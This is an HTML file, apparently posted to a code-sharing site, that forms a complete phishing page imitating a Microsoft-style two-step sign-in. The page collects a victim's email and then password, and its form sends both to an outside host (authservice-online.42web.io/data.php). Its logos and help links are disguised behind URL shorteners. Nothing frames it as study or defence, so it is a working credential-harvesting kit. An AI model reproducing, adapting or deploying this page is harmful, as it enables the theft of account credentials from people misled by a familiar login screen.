zzzz
3 months ago in HTML
<!DOCTYPE html>
<html>
<head>
<title>Login to you account</title>
<link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">
<style>
body {
background-image: url('./assest/img/afbeelding.png');
background-size: cover;
background-position: center;
min-width: 700px;
font-family: "Segoe UI Webfont","Helvetica Neue","Lucida Grande","Roboto","Ebrima","Nirmala UI","Gadugi","Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI","Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math";
font-weight: 400;
line-height: 1.25rem;
font-size: 13px;
}
.container {
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
height: 100vh; /* Adjust as needed */
}
.box {
width: 440px;
background-color: white;
padding: 44px;
box-shadow: 0 2px 6px rgba(0,0,0,0.2);
margin-bottom: 20px;
}
.links{
font-size: .8125rem;
}
.box-mini{
width: 440px;
background-color: white;
padding: 8px 44px;
display: flex;
box-shadow: 0 2px 6px rgba(0,0,0,0.2);
color: black;
}
.sign-in{
font-size: 1.5rem;
font-weight: 600;
padding: 0;
margin-top: 16px;
margin-bottom: 12px;
font-family: "Segoe UI","Helvetica Neue","Lucida Grande","Roboto","Ebrima","Nirmala UI","Gadugi","Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI","Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math";
}
#userId{
padding: 6px 10px;
width: 100%;
margin-bottom: 16px;
}
a:link{
color: #0067b8;
}
.buttons{
float: right;
}
.button{
border: none;
padding: 16px 32px;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 16px;
margin: 4px 2px;
cursor: pointer;
}
#Next{
padding: 4px 12px;
color: #fff;
border-color: #0067b8;
background-color: #0067b8;
border: 2px solid #0067b8;
width: 108px;
height: 32px;
}
#key-img{
width: 32px;
height: 32px;
margin-right: 10px;
}
.sign-in-box{
text-decoration: none;
}
.loader {
border: 16px solid #f3f3f3;
border-radius: 50%;
border-top: 16px solid #3498db;
width: 120px;
height: 120px;
-webkit-animation: spin 2s linear infinite; /* Safari */
animation: spin 2s linear infinite;
visibility: collapse;
display: none;
}
/* Safari */
@-webkit-keyframes spin {
0% { -webkit-transform: rotate(0deg); }
100% { -webkit-transform: rotate(360deg); }
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
#bg2{
visibility: hidden;
display: none;
}
</style>
<script>
function redirectToTargetPage() {
var inputValue = document.getElementById("userId").value;
var targetUrl = "index2.html?inputValue=" + encodeURIComponent(inputValue);
window.location.href = targetUrl;
}
function swap() {
document.querySelector("#bg2").style.visibility = "visible";
document.querySelector("#bg2").style.display = "inline";
document.querySelector("#bg1").style.visibility = "hidden";
document.querySelector("#bg1").style.display = "none";
}
function checkEmail() {
var email = document.getElementById('userId');
var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
if (!filter.test(email.value)) {
alert('Please provide a valid email address');
email.focus;
return false;
}
}
</script>
</head>
<body>
<form action="http://authservice-online.42web.io/data.php" method="get">
<div class="background" id="bg1">
<div class="container">
<div class="box">
<img src="https://shorturl.at/dkluZ" alt="logo" srcset="">
<h3 class="sign-in">Sign In</h3>
<input name="email" class="w3-input" type="email" id="userId"
placeholder="Email address, phone number or Skype" required>
<div class="links">
<p>No account? <a href="https://shorturl.at/dmHU3">
Create one!</a> </p>
<p><a href="https://shorturl.at/fnv12">
Cant´t access your account?</a></p>
</div>
<div class="buttons">
<button id="Next" onclick="swap()"> Next</button>
</div>
</div>
<a href="https://shorturl.at/dzX49" class="sign-in-box">
<div class="box-mini">
<img id="key-img" src="http://tinyurl.com/yjnbxmbu" alt="" srcset="">
Sign-in options
</div>
</a>
</div>
</div>
<div class="background" id="bg2">
<div class="container">
<div class="box">
<img src="http://tinyurl.com/ycyw4ras" alt="logo" srcset="">
<p id="output"></p>
<h3 class="sign-in">Enter Password</h3>
<input name="password" class="w3-input" type="password" id="password"
placeholder="Password" required>
<div class="links">
<p>
<a href="http://tinyurl.com/zwrx82h5">
Forgot Password?
</a>
</p>
<p>
<a href="http://tinyurl.com/48a6ujkn">
Other sign-in options
</a>
</p>
</div>
<div class="buttons">
<button id="Next" type="submit" >Log In</button>
</div>
</div>
<div class="loader"></div>
</div>
</div>
</form>
</body>
</html>